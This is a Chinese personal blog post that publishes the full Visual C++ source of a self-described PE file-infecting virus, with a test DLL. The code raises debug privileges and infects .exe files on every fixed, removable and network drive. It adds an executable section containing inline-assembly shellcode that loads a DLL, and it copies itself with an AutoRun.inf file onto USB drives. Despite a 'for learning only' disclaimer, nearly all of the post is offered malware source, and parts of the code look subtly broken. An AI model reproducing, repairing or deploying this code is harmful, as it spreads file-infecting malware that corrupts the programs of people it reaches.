零贰'Blog

零贰'Blog - 记录日常点点滴滴..........

PE型感染病毒 - VC源码

VC代码源码病毒

“真正的文件型PE病毒,是不能发布调试版本的,只能靠自己的判断使用发布版本,就算要调试也只能使用其它的调试器,比喻说OllyDbg来调试发布版本……” 这类程序调试起来足矣让人精神紊乱,下面是全部的代码,有兴趣的看看吧…..

测试Test.dll源码:

  1. /////////////////////////////////////////////////////////////////////////////
  2. // Test.dll
  3. // by Koma   2009-12-18 0:40
  4. // http://blog.csdn.net/wangningyu
  5. #include <windows.h>
  6. BOOL APIENTRY DllMain( HANDLE hModule,
  7.                        DWORD  ul_reason_for_call,
  8.                        LPVOID lpReserved
  9.                      )
  10. {
  11.     HANDLE  hThread;
  12.     DWORD   dwThread;
  13.     switch(lpReserved)
  14.     {
  15.     case DLL_PROCESS_ATTACH:
  16.         MessageBox(NULL,“some process is attching !”,“Test”,MB_OK);
  17.         hThread = CreateThread(NULL,0,SomeFunction,NULL,0,dwThread);
  18.         WaitForSingleObject(hThread,INFINITE);
  19.         CloseHandle(hThread);
  20.         break;
  21.     case DLL_THREAD_ATTACH:
  22.         MessageBox(NULL,“some thread is attching !”,“Test”,MB_OK);
  23.         break;
  24.     case DLL_THREAD_DETACH:
  25.         MessageBox(NULL,“some thread is detaching !”,“Test”,MB_OK);
  26.         break;
  27.     case DLL_PROCESS_DETACH:    //
  28.         MessageBox(NULL,“some process is exited !”,“Test”,MB_OK);
  29.         break;
  30.     }
  31.     return TRUE;
  32. }
主程序源码:
  1. /////////////////////////////////////////////////////////////////////////////
  2. // 感染PE文件病毒源码
  3. // by Koma   2009-12-18 0:30
  4. // http://blog.csdn.net/wangningyu
  5. // 程序仅供学习交流,请不要尝试用作非法用途!
  6. // 感谢寂寞的狼、llydd、大飞的指导与技术支持!
  7. /////////////////////////////////////////////////////////////////////////////
  8. // 引入头文件
  9. //
  10. #include <afxwin.h>
  11. #include <windows.h>
  12. /////////////////////////////////////////////////////////////////////////////
  13. // DiskInfo class
  14. // 采用多线程感染每一个磁盘驱动器
  15. //
  16. class  DiskInfo
  17. {
  18. public:
  19.     CString m_strName;                  // 磁盘名称,例如C:
  20.     CString m_strFilePath;              // 感染文件的绝对路径
  21.     BOOL    CurFileIsInject;            // 判断该文件是否被感染过
  22.     DiskInfo();                         // 构造函数,用来初始化成员变量
  23. };
  24. /////////////////////////////////////////////////////////////////////////////
  25. // DiskInfo 构造函数
  26. // 初始化成员变量
  27. //
  28. DiskInfo::DiskInfo()
  29. {
  30.     m_strFilePath = _T(“”);
  31.     m_strName     = _T(“”);
  32. }
  33. /*********************************************************************/
  34. // 全局函数声明
  35. /*******************************************************************/
  36. void EmuAllDisk();                              // 多线程感染全盘文件
  37. BOOL GetOSVersion();                            // 获取操作系统版本是不是NT内核
  38. BOOL InfectPE(CString strFilePath);             // 感染指定路径exe文件
  39. BOOL IsInfect(CString strFile);                 // 判断是否被感染过
  40. BOOL CheckPE(FILE* pFile);                      // 检查文件格式
  41. int  Align(int size,unsigned int align);        // 用来计算对齐数据后的大小
  42. int  EmuDiskFiles(LPCTSTR lpStr);               // 遍历指定盘符exe文件
  43. void RaiseToDebug();                            // 进程
  44. /*******************************************************************/
  45. // 全局变量声明
  46. /******************************************************************/
  47. DiskInfo    di;                                 // 传递多线程参数:设置盘符名
  48. DiskInfo    diInject;                           // 传递多线程参数:设置文件路径
  49. /*******************************************************************/
  50. /* 函数说明:复制到U盘
  51. /* 参    数:无
  52. /* 返 回 值:成功返回0,失败返回非0
  53. /* By:Koma   2009.12.16 20:35
  54. /*******************************************************************/
  55. DWORD ThreadInfectU()
  56. {
  57.     while(true)
  58.     {
  59.         // 磁盘类型
  60.         UINT revtype;
  61.         char name[256]=“H:\” ;
  62.         char szName[256]={0};
  63.         char toPath[256]={0};
  64.         char infPath[256]={0};
  65.         char openU[80]={0};
  66.         // 遍历所有盘符
  67.         for(BYTE i=0x42;i<0x5B;i=i+0x01)
  68.         {
  69.             name[0]=i;
  70.             revtype=GetDriveType(name);
  71.             // 判断是否是可移动存储设备
  72.             if (revtype==DRIVE_REMOVABLE)
  73.             {
  74.                 // 得到自身文件路径、比较是否和U盘的盘符相同
  75.                 GetModuleFileName(NULL,szName,256);
  76.                 if(strncmp(name,szName,1)==0)
  77.                 {
  78.                     return -1;
  79.                 }
  80.                 else
  81.                 {
  82.                     strcpy(toPath,name);
  83.                     strcat(toPath,”\Player.exe”);
  84.                     strcpy(infPath,name);
  85.                     strcat(infPath,”\AutoRun.inf”);
  86.                     // 还原U盘上的文件属性
  87.                     SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);
  88.                     SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
  89.                     // 删除原有文件
  90.                     DeleteFile(toPath);
  91.                     DeleteFile(infPath);
  92.                     // 拷贝自身文件到U盘、把这两个文件设置成系统,隐藏属性
  93.                     CopyFile(szName,toPath,FALSE);
  94.                     SetFileAttributes(toPath,
  95.                         FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
  96.                     SetFileAttributes(infPath,
  97.                         FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
  98.                 }
  99.             }
  100.         }
  101.         // 休眠5秒检测一次
  102.         Sleep(5000);
  103.     }
  104. }
  105. /*******************************************************************/
  106. /* 函数说明:线程 —— 感染指定exe文件
  107. /* 参    数:驱动器名称,如C:
  108. /* 返 回 值:遍历的数目
  109. /* By:Koma   2009.12.17 14:05
  110. /********************************************************************/
  111. DWORD ThreadInject(LPVOID lpParameter)
  112. {
  113.     DiskInfo *diParam = (DiskInfo *)lpParameter;
  114.     BOOL     bRet = InfectPE(diParam->m_strFilePath);
  115.     if(bRet)
  116.         return 0;
  117.     return -1;
  118. }
  119. /********************************************************************/
  120. /* 函数说明:线程 —— 遍历驱动器exe文件
  121. /* 参    数:驱动器名称,如C:
  122. /* 返 回 值:遍历的数目
  123. /* By:Koma   2009.12.17 14:05
  124. /********************************************************************/
  125. DWORD ThreadDisk(LPVOID lpParameter)
  126. {
  127.     DiskInfo *diParam = (DiskInfo *)lpParameter;
  128.     BOOL     bRet = EmuDiskFiles(diParam->m_strName);
  129.     if(bRet)
  130.         return 0;
  131.     return -1;
  132. }
  133. int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
  134. {
  135.     RaiseToDebug();                             // 提升权限
  136.     EmuAllDisk();                               // 依次启动遍历磁盘线程、遍历文件
  137.     MessageBox(NULL,“程序启动成功!”,“测试”,MB_OK);
  138.     return 0;
  139. }
  140. /********************************************************************/
  141. /* 函数说明:获取应用程序当前目录
  142. /* 参    数:无
  143. /* 返 回 值:返回目录路径、CString类型字符串
  144. /* By:Koma   2009.12.17 14:25
  145. /*******************************************************************/
  146. CString GetExePath()
  147. {
  148.     char pathbuf[260];
  149.     int  pathlen = ::GetModuleFileName(NULL,pathbuf,260);
  150.     // 替换掉单杠
  151.     while(TRUE)
  152.     {
  153.         if(pathbuf[pathlen–]==’\’)
  154.             break;
  155.     }
  156.     pathbuf[++pathlen]= 0x0;
  157.     CString  fname = pathbuf;
  158.     return   fname;
  159. }
  160. /*******************************************************************/
  161. /* 函数说明:提升进程权限到debug权限
  162. /* 参    数:无
  163. /* 返 回 值:无
  164. /* By:Koma   2009.12.17 21:20
  165. /*******************************************************************/
  166. void RaiseToDebug()
  167. {
  168.     HANDLE hToken;
  169.     HANDLE hProcess = GetCurrentProcess();      // 获取当前进程句柄
  170.     // 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESS
  171.     if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
  172.     {
  173.         TOKEN_PRIVILEGES tkp;
  174.         if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
  175.         {
  176.             tkp.PrivilegeCount = 1;
  177.             tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  178.             //通知系统修改进程权限
  179.             BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
  180.         }
  181.         CloseHandle(hToken);
  182.     }
  183. }
  184. /*******************************************************************/
  185. /* 函数说明:保护文件防止被轻易删除
  186. /* 参    数:无
  187. /* 返 回 值:无
  188. /* By:Koma   2009.12.17 21:42
  189. /*******************************************************************/
  190. BOOL OccupyFile(LPCTSTR lpFileName)
  191. {
  192.     RaiseToDebug();                             // 提升权限
  193.     // 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限
  194.     HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);
  195.     if (hProcess == NULL)
  196.     {
  197.         hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8);
  198.         if (hProcess == NULL)
  199.             return FALSE;
  200.     }
  201.     HANDLE hFile = NULL;
  202.     HANDLE hTargetHandle = NULL;
  203.     // 创建一个文件,当然这个文件可以是本来就存在的
  204.     hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  205.     if (hFile == INVALID_HANDLE_VALUE)
  206.     {
  207.         // 文件创建或打开失败
  208.         CloseHandle( hProcess );
  209.         return FALSE;
  210.     }
  211.     return TRUE;
  212. }
  213. /*******************************************************************/
  214. /* 函数说明:多线程感染全盘文件
  215. /* 参    数:无
  216. /* 返 回 值:无
  217. /* By:Koma   2009.12.17 22:30
  218. /********************************************************************/
  219. void EmuAllDisk()
  220. {
  221.     CString strTemp;                            // 临时字符串
  222.     UINT    revtype;                            // 磁盘类型
  223.     char    name[5]= “C:“;                      // 磁盘名称
  224.     int     nCount = 0;                         // 磁盘数量
  225.     HANDLE  hThread[10];                        // 最大启动十个磁盘感染线程
  226.     DWORD   dwTid[10];                          // 线程PID
  227.     for(BYTE i=0x42;i<0x5B;i=i+0x01)            // 遍历所有盘符
  228.     {
  229.         name[0]=i;
  230.         revtype=GetDriveType(name);
  231.         switch(revtype){                        // 判断磁盘驱动器的属性
  232.         case DRIVE_FIXED:                       // 是否为本地磁盘
  233.         case DRIVE_REMOVABLE:                   // 是否为可移动磁盘
  234.         case DRIVE_REMOTE:                      // 是否为网络磁盘
  235.             if(nCount>10){                      // 最大启动十个线程
  236.                 nCount = 0;                     // 恢复计数器
  237.                 Sleep(30000);                   // 休眠30秒
  238.                 break;
  239.             }
  240.             strTemp.Format(“%c”,name[0]);
  241.             strTemp = strTemp + “:“;            // 磁盘字符串形式,如C:
  242.             di.m_strName = strTemp;             // 设置感染文件的绝对路径
  243.             hThread[nCount] = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadDisk,(LPVOID)(&di),NULL,&dwTid[nCount]);
  244.             nCount++;
  245.             break;
  246.         }
  247.     }
  248. }
  249. /********************************************************************/
  250. /* 函数说明:判断操作系统版本
  251. /* 参    数:无
  252. /* 返 回 值:NT以上版本的系统返回TRUE,失败返回FALSE
  253. /* By:Koma   2009.12.18 22:20
  254. /*******************************************************************/
  255. BOOL GetOSVersion()
  256. {
  257.     DWORD   dwVersion = 0;
  258.     // 如果是Windows 98/Me/95以上的操作系统则返回TRUE
  259.     dwVersion = GetVersion();
  260.     if (dwVersion < 0x80000000)
  261.     {
  262.         return TRUE;
  263.     }
  264.     return FALSE;
  265. }
  266. /*******************************************************************/
  267. /* 函数说明:感染exe文件
  268. /* 参    数:strFile   文件路径
  269. /* 返 回 值:成功返回TRUE,失败返回FALSE
  270. /* By:Koma   2009.12.18 21:32
  271. /********************************************************************/
  272. BOOL InfectPE(CString strFilePath)
  273. {
  274.     FILE*                   rwFile;                     // 被感染的文件
  275.     IMAGE_SECTION_HEADER    NewSection;                 // 定义要添加的区块
  276.     IMAGE_NT_HEADERS        NThea;                      //
  277.     DWORD                   pNT;                        // pNT中存放IMAGE_NT_HEADERS结构的地址
  278.     int                     nOldSectionNo;
  279.     int                     OEP;
  280.     if((rwFile=fopen(strFilePath,“rb”))==NULL){         // 打开文件失败则返回
  281.         return FALSE;
  282.     }
  283.     if(!CheckPE(rwFile)){                               // 如果不是PE文件则返回
  284.         return FALSE;
  285.     }
  286.     fseek(rwFile,0x3c,0);
  287.     fread(&pNT,sizeof(DWORD),1,rwFile);
  288.     fseek(rwFile,pNT,0);
  289.     fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile);    // 读取原文件的IMAGE_NT_HEADERS结构
  290.     nOldSectionNo=NThea.FileHeader.NumberOfSections;    // 保存原文件区块数量
  291.     OEP=NThea.OptionalHeader.AddressOfEntryPoint;       // 保存原文件区块OEP
  292.     IMAGE_SECTION_HEADER    SEChea;                     // 定义一个区块存放原文件最后一个区块的信息
  293.     int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;
  294.     int FILE_ALIG=NThea.OptionalHeader.FileAlignment;   // 保存文件对齐值与区块对齐值
  295.     memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));
  296.     fseek(rwFile,pNT+248,0);                            // 读原文件最后一个区块的信息
  297.     for(int i=0;i<nOldSectionNo;i++)
  298.         fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);
  299.     FILE    *newfile = fopen(strFilePath,“rb+”);
  300.     if(newfile==NULL){
  301.         return FALSE;
  302.     }
  303.     fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);
  304.     goto shellend;
  305.     __asm
  306.     {
  307. shell:  PUSHAD
  308.             MOV  EAX,DWORD PTR FS:[30H]     ;FS:[30H]指向PEB
  309.             MOV  EAX,DWORD PTR [EAX+0CH]    ;获取PEB_LDR_DATA结构的指针
  310.             MOV  EAX,DWORD PTR [EAX+1CH]    ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
  311.             MOV  EAX,DWORD PTR [EAX]        ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
  312.             MOV  EAX,DWORD PTR [EAX+08H]    ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
  313.             MOV  EBP,EAX                    ;将Kernel32.dll模块基址地址放至kernel中
  314.             MOV  EAX,DWORD PTR [EAX+3CH]    ;指向IMAGE_NT_HEADERS
  315.             MOV  EAX,DWORD PTR [EBP+EAX+120];指向导出表
  316.             MOV  ECX,[EBP+EAX+24]           ;取导出表中导出函数名字的数目
  317.             MOV  EBX,[EBP+EAX+32]           ;取导出表中名字表的地址
  318.             ADD  EBX,EBP
  319.             PUSH WORD  PTR 0X00             ;构造GetProcAddress字符串
  320.             PUSH DWORD PTR 0X73736572
  321.             PUSH DWORD PTR 0X64644163
  322.             PUSH DWORD PTR 0X6F725074
  323.             PUSH WORD PTR 0X6547
  324.             MOV  EDX,ESP
  325.             PUSH ECX
  326. F1:
  327.         MOV  EDI,EDX
  328.             POP  ECX
  329.             DEC  ECX
  330.             TEST  ECX,ECX
  331.             JZ  EXIT
  332.             MOV  ESI,[EBX+ECX*4]
  333.             ADD  ESI,EBP
  334.             PUSH  ECX
  335.             MOV  ECX,15
  336.             REPZ  CMPSB
  337.             TEST  ECX,ECX
  338.             JNZ  F1
  339.             POP  ECX
  340.             MOV  ESI,[EBP+EAX+36]           ;取得导出表中序号表的地址
  341.             ADD  ESI,EBP
  342.             MOVZX  ESI,WORD PTR[ESI+ECX*2]  ;取得进入函数地址表的序号
  343.             MOV  EDI,[EBP+EAX+28]           ;取得函数地址表的地址
  344.             ADD  EDI,EBP
  345.             MOV  EDI,[EDI+ESI*4]            ;取得GetProcAddress函数的地址
  346.             ADD  EDI,EBP
  347.             PUSH WORD PTR 0X00              ;构造LoadLibraryA字符串
  348.             PUSH DWORD PTR 0X41797261
  349.             PUSH DWORD PTR 0X7262694C
  350.             PUSH DWORD PTR 0X64616F4C
  351.             PUSH ESP
  352.             PUSH  EBP
  353.             CALL  EDI                       ;调用GetProcAddress取得LoadLibraryA函数的地址
  354.             PUSH  WORD PTR 0X00             ;添加参数“test”符串
  355.             PUSH  DWORD PTR 0X74736574
  356.             PUSH  ESP
  357.             CALL  EAX
  358. EXIT:  ADD ESP,36                           ;平衡堆栈
  359.        POPAD
  360.     }
  361. shellend:
  362.     char   pShell;
  363.     int     nShellLen;
  364.     BYTE    jmp = 0xE9;
  365.     __asm
  366.     {
  367.         LEA EAX,shell
  368.         MOV pShell,EAX;
  369.         LEA EBX,shellend
  370.         SUB EBX,EAX
  371.         MOV nShellLen,EBX
  372.     }
  373.     // 写入SHELLCODE,
  374.     for(i=0;i<nShellLen;i++)
  375.         fputc(pShell[i],newfile);
  376.     // SHELLCODE之后是跳转到原OEP的指令
  377.     NewSection.VirtualAddress=SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG);
  378.     OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;
  379.     fwrite(&jmp, sizeof(jmp), 1, newfile);
  380.     fwrite(&OEP, sizeof(OEP), 1, newfile);
  381.     // 将最后增加的数据用0填充至按文件中对齐的大小
  382.     for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++)
  383.         fputc(’\0’,newfile);
  384.     // 新区块中的数据
  385.     strcpy((char)NewSection.Name,“.NYsky”);
  386.     NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;
  387.     NewSection.Misc.VirtualSize=nShellLen;
  388.     NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG);
  389.     NewSection.Characteristics=0xE0000020;
  390.     // 新区块可读可写可执行、写入新的块表
  391.     fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);
  392.     fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile);
  393.     int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG);
  394.     int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG);
  395.     fseek(newfile,pNT,0);
  396.     NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
  397.     NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
  398.     NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;
  399.     NThea.OptionalHeader.SizeOfImage=nNewImageSize;
  400.     NThea.FileHeader.NumberOfSections=nOldSectionNo+1;
  401.     NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress;
  402.     // 写入更新后的PE头结构
  403.     fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);
  404.     fclose(newfile);
  405.     fclose(rwFile);
  406.     return TRUE;
  407. }
  408. /********************************************************************/
  409. /* 函数说明:判断文件是否被感染
  410. /* 参    数:strFile   文件路径
  411. /* 返 回 值:成功返回TRUE,失败返回FALSE
  412. /* By:Koma   2009.12.18 22:35
  413. /********************************************************************/
  414. BOOL IsInfect(CString strFile)
  415. {
  416.     HANDLE  hFile;                              // 保存文件句柄
  417.     HANDLE  hMapping;                           // 内存文件映射句柄
  418.     void*   pBasePointer;                       // PE入口点
  419.     int     dwSestion;                          // 节结数
  420.     int     i;                                  // 临时循环变量
  421.     BOOL    bRet = FALSE;                       // 返回值
  422.     IMAGE_DOS_HEADER *imDos_Headers;            // 定义DOS头
  423.     IMAGE_NT_HEADERS *imNT_Headers;             // 定义PE头
  424.     IMAGE_SECTION_HEADER *imSECTION_Headers;    // 定义SECTION表头
  425.     // 打开文件
  426.     hFile=CreateFile(strFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,
  427.         FILE_ATTRIBUTE_NORMAL,0);
  428.     if (hFile==INVALID_HANDLE_VALUE){
  429. //      GetLastError();
  430.         return FALSE;
  431.     }
  432.     // 创建内存映射文件
  433.     if (!(hMapping=CreateFileMapping(hFile,0,PAGE_READONLY|SEC_COMMIT,0,0,0))){
  434.         CloseHandle(hFile);
  435.         CloseHandle(hMapping);
  436.         return FALSE;
  437.     }
  438.     if (!(pBasePointer=::MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0))){
  439.         CloseHandle(hFile);
  440.         CloseHandle(hMapping);
  441.         return FALSE;
  442.     }
  443.     // 设置初始指针地址
  444.     imDos_Headers=(IMAGE_DOS_HEADER *)pBasePointer;
  445.     if(!(imDos_Headers->e_magic ==IMAGE_DOS_SIGNATURE)){
  446.         CloseHandle(hFile);
  447.         CloseHandle(hMapping);
  448.         return FALSE;
  449.     }
  450.     // NT头指针地址
  451.     imNT_Headers=(IMAGE_NT_HEADERS *)((char *)pBasePointer+imDos_Headers->e_lfanew);
  452.     // 读取节表名
  453.     CString strTemp = “”;
  454.     CString strSectionName;
  455.     for(i=0,imSECTION_Headers =(IMAGE_SECTION_HEADER *)((char *)imNT_Headers+sizeof(IMAGE_NT_HEADERS));i<imNT_Headers->FileHeader .NumberOfSections;i++,imSECTION_Headers++)
  456.     {
  457.         strTemp.Format(“第%d节:%s\n”,i+1,imSECTION_Headers->Name);
  458.         strSectionName = strSectionName + strTemp;
  459.         dwSestion = i;
  460.     }
  461.     // 查找节点是否存在
  462.     // MessageBox(strSectionName);
  463.     if(strSectionName.Find(“.data”)>0){
  464.         bRet = TRUE;
  465.     }
  466.     // 关闭句柄、释放文件
  467.     CloseHandle(hMapping);
  468.     CloseHandle(hFile);
  469.     return bRet;
  470. }
  471. /********************************************************************/
  472. /* 函数说明:用来计算对齐数据后的大小
  473. /* 参    数:size      计算大小
  474. /           align      对齐后的长度
  475. / 返 回 值:对齐数据后的大小
  476. /* By:Koma   2009.12.18 23:25
  477. /********************************************************************/
  478. BOOL CheckPE(FILE* pFile)
  479. {
  480.     fseek(pFile,0,SEEK_SET);
  481.     BOOL  bFlags=FALSE;
  482.     WORD  IsMZ;
  483.     DWORD  IsPE,pNT;
  484.     fread(&IsMZ,sizeof(WORD),1,pFile);
  485.     if(IsMZ==0x5A4D)
  486.     {
  487.         fseek(pFile,0x3c,SEEK_SET);
  488.         fread(&pNT,sizeof(DWORD),1,pFile);
  489.         fseek(pFile,pNT,SEEK_SET);
  490.         fread(&IsPE,sizeof(DWORD),1,pFile);
  491.         if(IsPE==0X00004550)
  492.             bFlags=TRUE;
  493.         else
  494.             bFlags=FALSE;
  495.     }
  496.     else
  497.         bFlags=FALSE;
  498.     fseek(pFile,0,SEEK_SET);
  499.     return bFlags;
  500. }
  501. /********************************************************************/
  502. /* 函数说明:用来计算对齐数据后的大小
  503. /* 参    数:size      计算大小
  504. /           align      对齐后的长度
  505. / 返 回 值:对齐数据后的大小
  506. /* By:Koma   2009.12.18 23:42
  507. /********************************************************************/
  508. int Align(int size,unsigned int align)
  509. {
  510.     if(size%align!=0)
  511.         return (size/align+1)*align;
  512.     else
  513.         return size;
  514. }
  515. /********************************************************************/
  516. /* 函数说明:遍历感染指定驱动器中所有exe文件
  517. /* 参    数:驱动器名称,如C:
  518. /* 返 回 值:遍历的数目
  519. /* By:Koma   2009.12.18 23:55
  520. /*********************************************************************/
  521. int EmuDiskFiles(LPCTSTR lpStr)
  522. {
  523.     CFileFind   fd;
  524.     CString     strWild(lpStr);
  525.     CString     str = fd.GetFilePath();         // 获取每个文件的绝对路径
  526.     int         nTemp = 0;                      // 最大启动5个线程同时感染
  527.     BOOL        bRet;
  528.     HANDLE      hThread;
  529.     DWORD       dwTid;
  530.     strWild += _T(”\*.”);                     // 查找类型
  531.     bRet = fd.FindFile(strWild);                // 开始查找
  532.     while (bRet){                               // 如果不为空,继续遍历
  533. ReEmu:      bRet = fd.FindNextFile();           // 查找下一个文件
  534.         if(fd.IsDots())                         // 过滤目录自身与上层目录
  535.             continue;
  536.         else if(fd.IsDirectory()){              // 判断是否为文件夹
  537.             CString str = fd.GetFilePath();     // 获取文件夹路径
  538.             EmuDiskFiles(str);                  // 继续遍历子目录
  539.         }
  540.         else
  541.         {
  542.             int nTemp1 = str.Find(“WINDOWS”);   // 如果是XP系统目录则跳过
  543.             int nTemp2 = str.Find(“WINNT”); // 如果是WIN2000系统目录也跳过
  544.             if(nTemp1>0 || nTemp2>0)
  545.                 goto ReEmu;
  546.             if(str.Find(“.exe”)>0){         // 判断是否为exe扩展名
  547.                 if(!IsInfect(str))              // 判断是否感染过
  548.                 {
  549.                     di.m_strFilePath = str;     // 设置感染文件的绝对路径
  550.                     hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid);
  551.                     WaitForSingleObject(hThread,INFINITE);
  552.                     //InfectPE(str);
  553.                 }
  554.                 continue;
  555.             }
  556.         }
  557.         Sleep(10000);                           // 10秒种遍历一个文件
  558.     }
  559.     return 0;
  560. }
  561. /////////////////////////////////////////////////////////////////////////////
  562. // 感染PE文件病毒源码
  563. // by Koma   2009-12-18 0:30
  564. // http://blog.csdn.net/wangningyu
  565. // 程序仅供学习交流,请不要尝试用作非法用途!
  566. /////////////////////////////////////////////////////////////////////////////